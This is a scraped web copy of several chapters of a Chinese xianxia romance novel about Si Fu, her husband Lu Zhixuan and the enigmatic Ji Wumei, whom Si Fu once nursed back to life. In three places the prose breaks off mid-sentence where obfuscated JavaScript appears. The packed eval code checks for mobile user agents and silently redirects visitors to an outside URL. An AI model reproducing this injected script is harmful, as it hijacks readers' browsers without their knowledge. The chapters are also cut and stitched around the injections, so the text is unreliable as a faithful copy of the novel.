姒芙还想说什么,蓦地又收了声。寂无寐此时跟了进来,一现身,陆之轩见到他就变脸,亲自将他搀扶下来,柔声问:“寂公子饮食可有忌讳?陆某去安排。” 跟方才判若两人。 寂无寐半垂眼睑,轻喘了两口,好似上个楼都费了不少气力,陆之轩见他这虚弱样心疼肉疼,只恨自己方才不小心忽略了他。 寂无寐温润的声音飘来:“寂某不食荤腥。” 陆之轩当即要唤小二,寂无寐又叹了一句:“寂某身子特殊,便是菜内的油也无法食荤,如此麻烦,劳烦陆公子给寂某点两碗白粥即可。” 陆之轩当即睁圆了眼,怪叫:“那怎么行!我设宴邀请,哪有让贵客吃白粥的道理!”说罢不等寂无寐阻止,陆之轩抬步就向外走,“我亲自去厨内嘱咐,寂公子宽心,陆某定让他们为寂公子备上适口的珍馐。” 咋呼的陆之轩一离开,雅间内安静下来。 姒芙佯装打量着雅间陈设,目光四处乱瞟,就是不看身侧的寂无寐。 腿上忽而一暖,姒芙吓了一大跳,刚要起身却给人按了回去,身边寂无寐不知何时凑近,他关心问:“脚可踢疼了?” 他靠得近,肩膀挨着肩膀,男子身上的热意扑来,姒芙顿时手足无措,“没……没……你你你……是不是离我有些近?” “近吗?”寂无寐轻轻眨了下眼,那双漂亮的眼好似眨出了流光,他无知无觉道:“曾经你为我治伤时靠得更近,想来芙儿是成了婚,要与我避嫌了。” 姒芙瞠目结舌,讷讷问:“难道……不该避嫌吗?” 寂无寐垂下头,顺着腿轻托住她的柔夷。 温凉的温度传到手上,一下蔓延全身,都是他触碰的异样。 “你说的对,如今身份已变,确实该避嫌。”口中说着,可指间依旧轻柔摩挲着她的指腹。 姒芙下意识要跟他保持距离,寂无寐突然问:“在玄善门养尊处优两年,怎的手上还有薄茧?” 姒芙悚然一惊,霎时抽手而立,顾左右而言他,“寂无寐,我现在是玄善门少主夫人,私下不要再有亲密之举。” 寂无寐低低笑了,“姒芙,你似乎很怕我?” “我……我不是怕你。” “你在心虚。” 姒芙蓦地一噎,又听寂无寐悠悠道:“你的心跳声,自我踏上鹿车时便听得清清楚楚。” 他再次靠近,潋滟有光的眼神轻易锁住了她的,“你曾救我一命,可与我重逢后一直对我避之不及,你在怕什么?” 他璀璨的眸光藏着旋转的暗沉,意味不明,姒芙不由后退半步。 她最怕寂无寐认真盯着她看,仿佛所有的秘密都无所遁形。 “我怕……”姒芙眼神迷离了一瞬,骤然清醒,定定道:“寂无寐,我怕陆之轩发现你我曾经相识!” “嗯?”他眉尖微挑。 姒芙赶忙道:“陆之轩这个人,并非表面所见那般愚蠢,他……他对你别有用心!若知晓你我曾经有……有过深厚情谊,他这人眼里容不得沙子,你我都要遭殃!” “芙儿是在担忧……我的安危?” “没错!寂无寐,玄善门乃是非之地,陆之轩不是什么好人,你当尽早离开。”姒芙见他神色不动,又添了把火:“陆之轩只爱男色,他用救命之恩留下你,实际上对你有所觊觎。如今他四重巅峰修为,你我都敌不过……” “我知道。” 姒芙一愣,陡然气道:“你知道?你知道还呆在这干什么?” 寂无寐不急不缓倒了一杯清茶,闲闲品了一口,那闲适的姿态仿若方才的惊天之闻不过一笑之谈,“姒芙,我找了你两年,整整两年。” 姒芙浑身一僵,她懵然望着寂无寐,两年?也就是自她离开后,寂无寐便一直在找她? 她一时分辨不出,话中含义是善意还是恶意。 谁知,下一句更砸得她愈发昏头涨脑。 “要跟我一同离开吗?” 同寂无寐一起离开? 那……岂不是私奔!莫说玄善门不会放过她,最重颜面的姒家也丢不起这个脸,定会天涯海角捉拿她! 姒芙气得转过背,冷声道:“寂无寐,你在说什么浑话!我如今是玄善门明媒正娶的少主之妻,怎能做出如此惊世骇俗之举!” 寂无寐浑不在意,“成了亲也能和离,姒芙,我看得出你厌倦这场联姻。” “那又如何,既是联姻又岂能轻易破坏?况且,我为何要跟你走?” 她字字铿锵,态度坚决,片刻,听见身后长长一叹,“你有如此多的顾虑,无怪当年那般狠绝抛下我而去。” 姒芙紧抿着唇,半垂眼睑,“我身为世家女,又岂能随心所欲?当年是我有负于你,是我不对。” 寂无寐短促笑了一声,低喃了一句,“有负于我……” 短短四个字,念的又轻又浅,姒芙呼吸一滞,浑身莫名起了一片战栗。 他到底什么意思? 雅间内一时鸦雀无声。 忽而背后一暖,肩头靠上来一个人,姒芙下意识要躲,又被人轻轻柔柔箍住,不重的力道一时竟不知如何狠心挣脱。 姒芙本能向后肘击的手一顿,身子一转脱开他,谁知脚尖绊到椅腿,向紧闭的门扉倒去。 后背一痛,腰上一紧,眼前骤然出现寂无寐放大的脸。 她背靠门扉,被寂无寐双臂锁在方寸之间。他垂头凝视着她,额头几乎相贴,眼里波光潋滟,清浅的目光夺人心魄。 姒芙被他目光所惑,责骂的话堵在了喉咙口。 寂无寐长得很好看,姿容不凡,在见他第一面时就清楚这张脸的与众不同。那时的他躺在满地残肢断臂里,破败不堪,脸上沾满妖冶的鲜血,死气沉沉的眼盯住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姒芙瞥了眼身前两步开外的寂无寐,对陆之轩羞赧一笑,“寂公子说他未见识过飞东城风貌,妾身正要推窗给他看看外头街景。” 陆之轩恍然,抬步将寂无寐扶着坐回桌边,劝道:“楼上雅间风大,寂公子若是想看,饭后陆某亲自带寂公子领略。” 寂无寐顺势坐下,神色如常,“是寂某考虑欠妥。”眼神飘向姒芙,笑道:“这次少主夫人的好意,寂某心领了。” 姒芙笑容晏晏,“寂公子不必多礼。” 陆之轩看看寂无寐,又瞧瞧姒芙,只觉两人之间有些诡异,眼神微眯。 姒芙适时打断他,“夫君,你方才说今日运道好,是遇见了什么好事?” 陆之轩回神,道:“啊,是了,爹说下个月会派人去东山除妖。” 东山是玄善门附近的一处大山头,里头盘踞着几只恼人的大妖,可惜玄善门人力有限又舍不得花大价钱端掉那几处妖窝,搁置了许久。好在几只大妖下山不频繁,玄善门便守着几处重要城池,不让妖祸入城。 陆之轩对寂无寐道:“当日伤你的妖也在其中,如此陆某可以为寂公子报仇了!” 寂无寐笑笑,以示感激,没有多余的话。 姒芙却不经意地问了一句,“东山的妖很是棘手,头疼了数年之久,这一次公爹怎么突然有余力除妖了?” 陆之轩对姒芙就没那么和善了,冷哼一声,“怎么?你身为姒家人,难道没收到消息?” 消息?她这几日都在烦恼塑月之事,忘了查看联络玉牌。 姒芙端着茶盏,含糊道:“夫君莫要埋汰妾身,公爹除妖,与姒家有什么关系?” “怎么没关系啊?”陆之轩凑近她,好似极为开心,“姒家大喜,颁了喜令昭告天下,还给盟友赏赐不少银钱。” 姒芙皱眉,就听陆之轩道:“你难道不知?姒家家主姒洄,如今已突破九重修为,出关了。” “当啷”一声,姒芙手中的茶盏顿时掉在桌上,骨碌碌滚到寂无寐眼皮子底下。 6.谧山忽闻惊鹊声 人间界接触灵气仅仅千年,许多道法只是初窥门径,尚不成熟,更多的是用来斩妖除魔的实战技法,若要发挥极致的法术,仍需要借助外物。 这也是为何擅长阵、器、丹、符的四大世家能长盛不衰的原因,宗门修剑修术,皆离不开这四样辅助。 世家内部也不乏修道之人。 千年以来修道日渐成体系,修士修为也被划分为十重,每重十阶。五重修为后,每提升一阶耗费极大且艰难。中州与其他国度不同,千年来无一人突破十重入仙之能。整个中州地界,九重修为大能屈指可数,寻常修士突破八重已是极致。 可想这次姒家家主九重出关,必定哗然整个中州。 姒家……又能更上一层楼了。 寂无寐捡起滚到眼前的茶盏,陆之轩见状没好气地夺了过去,“噔”的一声搁回姒芙眼前,“做事毛毛躁躁,小心烫到寂公子。”说着要查看寂无寐有没有被溅上茶水。 寂无寐轻轻一拂袖,“不碍事。”转头笑看姒芙,由衷道了一句,“恭喜姒姑娘,姒家家主出关,姒家地位不可同日而语,姒姑娘也能跟着沾光。” 姒芙从怔愣中回神,回应一笑。 陆之轩:“可不是,家主仅仅闭关五年就突破九重修为,可谓世间少有!姒芙自小受家主看重,闭关前还一直挂念着她。” “哦?原来姒姑娘对家主……如此重要。”寂无寐状似了然,又佯装不解问:“家族对于有才子弟多是留在族中培养,家主又为何会答应将姒姑娘婚配?” 世家大族,只有修仙天赋平庸的人才会被送去联姻。 提及此事,陆之轩觑了姒芙一眼,姒芙垂头专心擦拭着指尖,一言不发,于是陆之轩替她答道:“姒芙当年遭遇不测,难以再修炼,所以族中才为她订下婚约。” 寂无寐看向姒芙,笑意渐深。姒芙有所感应,顿了顿,随即又若无其事叠起手中帕子。 她这些事人尽皆知,略一打听就能知晓,有什么好心虚的?不过是那三年瞒了他有婚约而已。 她……本也没将这婚约当回事的…… 陆之轩见寂无寐听的认真,补充道:“据说家主是反对将姒芙送嫁的,可是家主闭关后,族老们仍坚持将她嫁入玄善门,毕竟世家中真正处理家族事务的,还是族中那帮族老。” “说来,家主待她确实与众不同。”陆之轩看回姒芙,见姒芙一副漫不经心的模样,皱眉道:“你家主出关,天大的喜事到了你这里,怎么瞧着不太开心啊?” 姒芙脱口而出:“出关又如何?总不会亲自毁了这场联姻,把我这个废物带回姒家吧?” 陆之轩稀奇的看着她,寂无寐闻言指尖一动,不动声色打量着姒芙。 陆之轩抱臂,似要听她还能扯出什么鬼话,就见姒芙回视着他,话音一转,眉梢又染上喜意:“家主为玄善门送来这么多银钱,不正是家主看重妾身之举吗?妾身怎会不高兴?夫君莫不是想偏了?” 姒芙笑得真真切切,浑然不觉上一句话有何不妥,仿佛方才的失手也是太过高兴所致。陆之轩观察她片刻,长长道了一句:“也是。” 小二适时送来菜色,清一色的素食,陆之轩心神即刻转移,殷勤地为寂无寐夹菜倒茶。 姒芙却没了用膳的兴致,她本就不爱吃素,青菜叶子到了口中味同嚼蜡。 碗内突然夹来一块白玉一样漂亮的豆腐,一侧眼,寂无寐目光和煦地看着她,“豆腐你总归是喜欢的。” 寂无寐知晓她的喜好,姒芙却觉得他不应该在陆之轩眼皮子底下这般亲近,刚要开口,只见他眸光明灭闪动,轻声道了一句:“毕竟是受姒洄看重的子弟,可莫要……亏待了自己。” …… 姒家铺天盖地的喜讯未给姒芙带来太多喜悦,然而往日不睦的婆母却对她和颜悦色起来。 姒家送来的不止银钱,还有许多年轻妇人所用的珍贵物什,不用想都知道是给谁的,可门主夫人悉数摆在自己的院子里。 门主夫人先是褒奖了姒芙一番,道她最近与陆之轩关系融洽,想来两人都想通了,让她少操了些心。姒芙低眉顺眼听着,待婆母好话说尽,实在不知再怎么称赞这个儿媳妇时,才将身前的礼品向她一扒拉。 “姒家还是在意你的。” 姒芙未应,果然,门主夫人下一句就是:“送来如此多的物什,不仅是赏赐,也是在催促你与轩儿尽早诞下麟儿,只要生下子嗣,送来的财物只会更多。” 姒芙略扫了眼前方的金银珠宝,数量比她想象的要少,只怕婆母暗中私扣了一部分。 她假作不知,困惑道:“家中来信说送了四匹蒙山蛛丝锦,儿媳……怎瞧这数目不大对,好像少了一匹?” 蒙山蛛丝锦,是用蒙山蛛丝所织,蒙山的蜘蛛妖极其难对付,不说抓捕要耗费多少人力,便是抽取蛛丝、将一捏就断的细丝织成绸缎,整个中州有此手艺的人不出十人之数,可谓有价无市。 门主夫人面上一僵,闪过一丝尴尬,又板起脸:“我收到时只有三匹,哪里来的四匹?若不是你看错了?” 姒芙觑着她的脸色,笑了笑,高高兴兴收下身前一堆俗物,意有所指:“错了便错了吧,儿媳有三匹已足够,数目错乱的那一匹许是路上遗失,当是行善送给他人了。” 门主夫人脸色一松,看着姒芙将东西一一收入储物袋,神色平和,可目光却一直黏着姒芙收纳财物的手。 姒芙顿了顿,又抽出一匹,“瞧儿媳糊涂,该拿出一匹孝敬婆母。” 门主夫人一喜,“那怎可使得?都是姒家送予你的,我怎好消受。”口中推拒,一双手却伸了过来。 姒芙递到半道忽而一停,如梦初醒:“哎呀,昨日夫君是不是来寻过婆母,说后日要领儿媳游湖?” 最近陆之轩缠姒芙缠的紧,门主夫人不明白她为什么突然提起这事,应道:“是有这么一回事。” 姒芙苦恼:“难得夫君相邀,儿媳该好好收拾一番,可惜儿媳的裙衫旧了,正好用这蛛丝锦做套新的,只是……” 门主夫人眼睁睁看着姒芙将递来的蛛丝锦收回了储物袋,娇俏一笑:“若送给婆母,那这蛛丝锦就不够用了。” 什么样的繁复裙衫要用三匹蛛丝锦! 门主夫人顿时怒气冲冲,正要发作,姒芙悠然期盼起来:“湖光山色,良辰美景,再配上儿媳的珠翠罗绮,加上这几日与夫君日夜相对的情谊,说不定夫君一高兴,好事便成了!” 明知这事不会这么简单,可门主夫人硬生生将嘴边的斥责咽了回去。 她若执意讨要,二人若是未能成事,岂不是得怪到她头上来?怪她眼皮子浅,为了一匹料子毁了两人美事。 她几乎都能想象失败后,姒芙会在她面前如何哭诉…… 姒芙见她吃了个哑巴亏,点到即止,心满意足略行了个礼,如往日那般怯怯告退离开。 老妖婆,贪她东西,不过一堆黄白之物,贪了便贪了,拿了东西还不知嘴软,反过来告诫她生什么儿子?真是欠得她! 姒芙随手捻下一朵门主夫人最爱的牡丹,缓缓揉碎,抬眼望天,轻轻叹了口气。 天天面对玄善门这堆宵小,真是有够厌烦的。 腹诽半晌,掏出储物袋,看了眼里头这堆物什,目光一顿,从中取出一方红木匣子。 匣子古朴质雅,无任何装嵌,用的是珍贵的万年历山木,入手自带暖意,沁人心脾的淡雅香气隐隐散发而出,是世家偏爱的低调又讲究的格调。方一打开,顿时纯净浓郁的灵气扑面而来。 里头静静躺着一颗玄色琉璃圆珠,拇指大小,温润如玉,乃大妖葛牵的内胆,有温养血肉之效。 此妖数量稀少,常年盘踞在妖界腹地,浑身都是天材地宝,莫说内胆,便是它一撮兽毛都值一颗上品灵珠。 许是过于珍贵加上红木匣上的印记,门主夫人没敢私藏。 姒芙静静看着匣盖上家主独有的寒梅印记,神色冷淡合上木匣。 捧着木匣良久,似有踌躇,神色几经变幻,最终还是将木匣塞回储物袋,抬步向院落走去。 姒芙轻叹一息,在玄善门躲了两年,耗费掉这么多年月,该是时候摆脱他们了。 什么受家族婚约桎梏,那都是说来骗寂无寐的鬼话,她只是在等一个机会,一个悄无声息消失的机会,自然不会选私奔这种下下之策。 当先要事,得将塑月拿回来。 春日渐暖,万物复苏,姒芙立在湖边,头顶的骄阳未带来几分暖意,吹拂的湖风有些寒凉,无孔不入往领脖子里钻。 她不为所动,只眺望着眼前湖景,缓缓靠上一株矫健的柳树。 柳条在周身纷纷扬扬,透过绿意盎然的缝隙,一艘画舫向她缓缓驶来。 她特地晚到半个时辰,本想等着那两人玩够了,再找个借口离开,谁知寂无寐立在船头,正静静望着他。 陆之轩在旁与他说着什么,他间或好似应了两声,待画舫一靠岸,他朝她略一抬手,显然要邀她上船。 陆之轩冷冷哼了一声,不情不愿也半伸出手,学寂无寐的君子之礼,眼神却紧紧盯着她,好似她若要染指寂无寐,他就要发脾气一样。 姒芙心里“啧”了一声,低头捏起冗长繁复的裙摆,借机躲开两人,自个儿上了画舫。 陆之轩看她如此乖巧,满意了。 寂无寐手微微一顿,放下的半道又重新抬起,伸向她披风绳结,柔声道:“船内暖和,一寒一暖,会捂出病。” 姒芙余光瞥见陆之轩眼神直愣愣盯着寂无寐,遂一弯腰躲开寂无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263923|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寐,钻入船舱。 一见船内摆设,姒芙心里一笑,这一回陆之轩学聪明了,船内置的是小圆桌,无论他坐在哪一侧都能靠近寂无寐。 姒芙自顾解了披风,想了想,将披风递到最近的寂无寐手上,自然而然道:“有劳寂公子。” 寂无寐晦暗的神色又柔柔笑开,陆之轩却以为她将寂无寐当下人使唤,没好气道:“自己没有手吗?还要麻烦他人?” “无妨,举手之劳。”寂无寐甘之若饴,笑得浅浅淡淡,陆之轩又怎看得懂他笑中深意。 待所有人落座,船儿又向湖心划去,陆之轩殷勤地为寂无寐斟茶,继续方才两人未完的话题,“寂公子问姒家家主修为停滞百年,为何突然五年突破境界?” 姒芙靠着窗户的身子一僵,怎么又在说家主之事? “我只听爹提过,好似是突然得了机缘,由此才能突破,具体是什么机缘也不太清楚。”陆之轩认真回着,转而看向姒芙:“姒芙是姒家人,你知道吗?” 姒芙斜了陆之轩一眼,“那几年我不在姒家。”随口回完,蓦地发觉说错了话。 陆之轩恍然,“是了,成婚前几年你在蔺家,自然不知晓。” “蔺家?”寂无寐悠悠问了一句。 “是啊,那段时日姒芙身子不好,在蔺家驻地锦城休养,当时因为她一直病着,我母亲险些……” “陆之轩!”姒芙突然喊了一声。 陆之轩被她喊得一怔,就见姒芙指着湖上一艘画舫,惊讶道:“那不是……小君儿吗?我怎么看他好像要来找你?” 陆之轩顿时一个激灵跳起来,远眺一眼,果然见有艘画舫缓缓靠来,船头一个粉面小生正不住的向这儿张望。 陆之轩心中一紧,他许久未去南风馆,怎还找上门来了?瞥了眼寂无寐,含含糊糊道:“啊,果然……果然是好友,许久未见,许是有事找我,你们……你们稍坐,我去去就来。” 说罢一抬腿,风似的跑了出去,好像生怕小君儿跟寂无寐碰上。 姒芙松了口气,陆之轩这个口没遮拦的,什么都往外头说。 透窗而望,陆之轩径直跳上小君儿的画舫,两人似乎说了两句,陆之轩便顺从的跟小君儿进了船舱。 身旁传来衣袂之声,有人坐在身侧,好似跟她一同望向窗外,耳边却喷来热息,“锦城?养病?” 姒芙平静回道:“我说过,当年我有苦衷,才会对你隐瞒身份。” “那芙儿如今可否直言相告?” 姒芙未应。 “欺骗我便罢,将姒家与蔺家都骗了去,隐姓埋名呆在冒儿山,为何不能告人?你在遮掩什么?” 一声声温柔的质问,在姒芙耳里有如催命讨债。 “寂无寐,你对我三番两次试探,到底想做什么?” 寂无寐轻轻搭在她肩头,“芙儿觉得我想做什么?” 寂无寐要带她走?初次相逢,她被寂无寐搅乱了心神,误以为真,然而几天过后,他若再说此番是为了她,她是不信的。 寂无寐是死过一遭的人,她了解死里逃生的人求的是什么。来来去去,总不会是为了什么可笑的情爱。 “寂无寐!我救过你一命,不欠你什么,我不细问你的出处,你也别来询问我。” 她知道,一对上寂无寐就落不着好! 眼前一暗,一只手拉合上船帘。 “你……” 眼前骤然一花,人给摁入怀中,贴得严丝合缝,头顶响起一声轻叹, “姒芙,你对我藏了这么多秘密,叫我如何是好?” 姒芙这个人向来软硬不吃,近几日的心绪不平又使得她少了耐心,连装都不愿装,咬牙:“寂无寐!适可而止!” “你说你不欠我?”他喟然轻叹,捉着她的柔夷贴上心口,隔着衣料,姒芙摸到他胸口上一处陈年旧疤。 “姒芙,”他唤了她一声,“这一处旧伤,你曾剖开查看过一遍又一遍。” 姒芙浑身一僵,争辩道:“那也是为了研究你的伤,害你的人不是我!” “是啊,你曾为了我,一刀一刀划开它一次又一次,”他柔柔一笑,忽然道一句,“那便再剖一次吧。” 话毕姒芙只觉被攥的手一疼,寂无寐掌心灵力如利箭穿透她的手掌,直击向某人胸口。 她的手完好无损,可她手下之人胸膛震荡! 他……竟透过她的手给了自己一击? “寂无寐!你疯了!”姒芙瞠目结舌,奋力抽开,可他却捏着她死死不放。 他蓦地吐出一口鲜血,靠在她肩头,猩红的血液顺着华贵的裙摆蜿蜒而下。 寂无寐惨白着脸,轻柔一笑,眼中闪烁着明灭的碎光,哑声问:“姒芙……你可愿意再救我一次?” 7.谧山忽闻惊鹊声 姒芙茫脑中一片空白,他在做什么?他想干什么? 手上一沉,寂无寐轰然倒下,面色惨白如纸,一线刺目的鲜血自嘴角蜿蜒而下,一片死相。 姒芙脑中一嗡,下意识扶住他,“寂无寐?” 唤了两声,他毫无反应,双眼紧闭身姿摇摇欲坠,有如任人摆布的破烂。姒芙慌乱无措,情急之下扯开船帘大喊:“陆之轩!” 陆之轩躲在小君儿船上,没空理会她,姒芙又大喊一句:“寂公子出事了!” 话音刚落,陆之轩倏地冲了出来,衣衫不整,发髻凌乱,身后小君儿似拉了一把,他却一个起落飞了回来。 他掀帘而入,急急询问,“怎么回事?” “他……”姒芙愣了愣,随口扯了一句:“他好似旧伤发作了。” 陆之轩一见姒芙怀中的寂无寐,面色一变,二话不说扛起他腾云而起,一个眨眼不见踪影。 姒芙紧追而出却被湖水拦住了去路。她一个靠腿走路的凡人又如何追得上纵云的修士? “快靠岸!”姒芙厉声催促船夫。 船夫年过半百,行事稳重,闻言撑着船篙不紧不慢向岸边挪,对于她的急言令色置若罔闻。 姒芙恨不得抢过他的船篙亲自撑船,眼光一扫,却见旁边画舫的小君儿趴在船头哭,对着陆之轩离去的方向哀哀戚戚:“公子,公子你怎就这么撇下君儿走了……” 哭声抑扬顿挫,姒芙只觉烦人得紧,不过一个恩公和恩客,还哭出真性情了? 姒芙心急如焚,哭声催得她愈发烦闷,只好掏出一锭光亮的银锭子,往船夫怀里一抛。 船夫见了整整一枚银锭处变不惊,可手中竹篙一点一挑,船儿仿佛在云中飞了起来。 一上岸,姒芙奔向岸边停靠的鹿车,谁知那小君儿不知何时追了过来,一把扯住她。 “姑娘,你可知陆公子去了何处?” 姒芙一把甩开他:“滚开!” 小君儿被甩得一个趔趄,又爬回来执着地拽住她的袖角,“姑娘,奴等了陆公子好多时日才等到他,你就可怜可怜奴,若陆公子厌弃奴,奴可就没活路了。” 什么没活路,不过就是南风馆的老鸨不待见他而已。 姒芙冷眼睨他,“活路?你若再碰我一分,我现在就、地、把你活路给掐死!” 死皮赖脸的小君儿终于被姒芙冷眉怒目吓到,颤巍巍收回了手。 姒芙头也不回地踏上车,鹿车外的小君儿换了个哭法,不再哭得撕心裂肺,转成了悲愤的抽噎。 这小君儿在南风馆里名头响亮,怎可能因为陆之轩的一时冷落就没了活路?不过是少了个最大的金主而已。 姒芙只觉得这些惺惺作态的风尘之人太碍事,戏都演到了她门口。 忽而,脑中闪过一道灵光,姒芙催促鹿车的蓦地手一顿。 碍事……是了……寂无寐也是碍事之人,她为何如此紧张他? 自寂无寐与她重逢以来,他表面温和有礼,私下却屡屡试探,她至今没看清寂无寐的用意。 潜意识里觉得他危险,既然对他避之不及,她为何要在乎他的死活? 他若真……因伤去世,她不是正好少了个麻烦?还可及早拿回塑月,岂不是一举两得? 更何况,那一掌是他自己打的,跟她有什么关系? 姒芙纷扰惊慌的心头一静,默默靠回车座。 她方才真是关心则乱,没了分寸,竟然急不可耐要去看望他? 她何时变得……这么心慈手软了? 姒芙略一沉吟,在车壁上一敲,两只鹿儿听话,调转方向朝玄善门归去。 莫怪她狠心,当年她救下寂无寐一命,又未求回报,两人之间本就不该有牵扯。 寂无寐是死是活,跟她有什么关系? 这一晚陆之轩果然未回宗,姒芙望着紧闭的院门,缓缓掩上窗扉。 她向来浅眠多梦,许是寂无寐白日在眼前晃荡太久,她莫名梦见呆了三年的冒儿山。 冒儿山是一座名不见经传的山头,地处两界交接处,人烟稀少,山中常年盘踞着一堆大大小小的精怪。 精怪调皮,总爱戏弄进山的猎户平民,于是山里有了妖怪作乱的传说。 梦境落在她救下寂无寐半年后。 寂无寐的经脉几乎碎成了渣,整整半年仍旧在濒死边缘徘徊,她不得其法,日日用珍贵的丹药和续命的禁阵吊着他一口气。 不记得第几次给他拼凑经脉无果,她累倒在他胸口,一次又一次的失败,让她陷入绝望。 这股绝望不是为寂无寐,而是为她自己。 眼泪无声滑落,染湿了他的衣襟,突然,身下之人的胸腔内传来闷响:“既然无力回天,别再白费力气,挖个坑把我埋了吧。” 她悚然一惊,怔愣愣盯着他,开口第一句却是:“你不是哑巴?” 整整半年,寂无寐像个没有灵魂的躯壳,不声不响,不发一言,她一直以为……他不会说话。 他嘴角牵了牵,好似要笑,却忘了怎么笑一般,没牵出个像样的弧度。 黯淡无光的眸子飘回头顶虚无,又成了那具没有生气的死人。 见他这模样,心头那股子绝望一烧,她莫名就来了脾气。 明明还能说话,明明还剩着一口气,明明她没日没夜救着他的命,他却比她先放弃。 凭什么! 她怒急攻心,一把扛起身下这个破烂,扛到小茅屋外的院子里。 院子里养了一群鸡鸭鹅,都是她的果腹之物。 她将他丢在角落,拿起一把大铁锹,气鼓鼓地挖起了坑。 寂无寐颓然坐在角落,眼神无光面向她,也不知是否在看她。她只撬了两捧土便丢下铁锹,从怀里掏出一颗拇指大绿色圆球样的东西,举到他眼前。 “这是我历经千难万险淘来的浮光树种子。”她指着上头横断的裂纹,气冲冲道:“别人都说这种子废了,发不了芽,可我偏不信,将它留到了现在。” 说完,她将种子往土坑里狠狠一掷,斜眼瞪向寂无寐:“我现在就将它埋了,我定要让你看看,要所有人看看,这颗种子,它能活!” 呱噪的鸡鸭鹅绕着静默不动的寂无寐嘎嘎乱叫,她莫名觉得他在这堆活物里,有了一丝活人才有的气息。 他好似笑了一声,鸡鸭霎时扑腾乱飞,杂乱的羽毛落了满身,几片落在他濡湿的乱发上,有几分狼狈的生动。她蓦地想起,这半年来她从未好好帮他收拾过。 她又吭哧吭哧将他扛进浴桶,拿过葫芦瓢狠狠往他头上一浇,嘴里还在念叨:“我要给它浇水。” 又丢进一把珍贵的草药:“我要给它施肥!” 她趴在浴桶边缘,定定与他对视:“我要让他重唤生机!” “我都没有放弃,你凭什么放弃!”她很生气,气他的自暴自弃。 水珠从他脸颊滑落,眼珠比清澈的水滴更剔透。 他静静凝视着她,黝黑的瞳仁轻轻一动,有如死寂多年的湖水遇风起了微澜,隔着山川湖海三界六地,他穿越黄泉弥漫,骤然停立在她眼前。 沉默良久的人再次缓缓开口,“我叫寂无寐。” 嘶哑的声音有了微弱的波澜起伏,缓慢而铿锵。 “记住我的名字,寂无寐。” 姒芙蓦地睁眼,画面定格在那双扰人清梦的眼神上。 那是她第一次,在寂无寐身上窥见活人该有的神色,虚弱,但隐含力量,摄人心魄。 曾经它反复出现在她的午夜梦回中,自离开冒儿山后,她已许久不再记起,为何今日突然梦见? 姒芙捏着额头,兀自怔愣,院门忽然被一股大力撞开,她抱着被褥迷迷糊糊刚坐起身,脸前一阵疾风扑面而来,刚瞧清来人就被一把拖了出去。 一个眨眼人坐在一片巨大的荷叶上,霎时迎风而起。 前后左右快得她连半个字都未来得及说。 “陆之轩!”姒芙气极!“你这是做什么?” 站在身侧的陆之轩满脸倦色,显然是一夜未睡。 “医修说,寂公子血气翻涌,体内妖气作祟,又附着在经脉上,若强硬拔除对经脉有损,他现在的身体承受不住。” 寂无寐,又是寂无寐!姒芙甩脱他的手,揉着手腕没好气道:“玄善门地界的医修无用,你去找芝仙谷的医修,着急忙慌拉我干什么!” 玄善门地处中州西部,虽是远离纷争,但相较于资源丰富灵气充盈的中原,确实很难找到厉害的医修。 “姒芙,”整晚的操劳磨灭了陆之轩的耐心,褪去了往日的玩世不恭,一双眼直勾勾盯着她,“时间紧迫,塑月是你的法宝,塑月能救他,对不对?” 姒芙矢口否认,“塑月是温养的法宝,又不是救死扶伤的良药……” 陆之轩紧紧盯着她,“若只能温养,那你且说说,塑月为何会被冠以‘法宝’之名?你又为何如此紧张塑月?” “你在胡说什么?” 陆之轩冷笑一声,“姒芙,我到底与你相处了两年,你这个人最在乎自己的东西,我偷了你的塑月,可你明面上却不敢跟我计较,显然是因为塑月对你极为重要。” 姒芙被戳中心思,双唇一抿,周身不自觉裹上一层抗拒。 陆之轩道:“只要帮寂无寐摆脱这次危机,我可以不过问塑月到底有何玄妙。” 姒芙双臂紧抱,收效甚微地温暖着被朔风吹冷的身子,“你多心了,塑月并无什么通天之能。” 陆之轩双眼微眯,他眼睛本就细长,这样一眯倒有了几分心思深沉模样,“姒芙,你在母亲眼前假装怯懦乖顺,实则小心思不少。甭拿糊弄母亲那一套来对付我。” 此刻陆之轩虽笑着,却与那没心没肺的纨绔判若两人。 陆之轩此人,表面上像个花天酒地的膏梁子弟,实则心思不浅,但姒芙并不怕他,也偶尔懒得在他面前装柔弱扮乖巧。 因为陆之轩不会在门主夫妇面前戳破她,那两人如果发现姒芙是个心里拿得了主意的人,只会更加变本加厉逼他们同房。 世家对于身有反骨的硬茬子女,向来都是逼迫大于妥协。姒家如此,门主夫人的家风亦是如此。 别看陆之轩性向不同,好似在抗争,实则在二人面前也是表面顺从,背地我行我素,一直延续着门主夫妇所剩不多的耐心。 因此,两人心照不宣相处两载,懒得互相揭穿。皆走着表面顺从,背后逆反的路子,只为减少些麻烦。 此时的陆之轩少了伪装,姒芙也不必陪他演,言辞犀利:“陆之轩,我知你好男色,却没想到你色令昏智,会为了寂无寐做到如此地步。” 面对姒芙的讥讽,陆之轩未恼,他玩味的盯着姒芙,忽然道:“我知你身上还藏了不少法宝,以及数量可观的阵中器。” 姒芙浑身一凛,神色无波与陆之轩对视,陆之轩微弯下腰,目光锁着她,“先不论那些法宝,阵中器是你研制的阵器,该清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 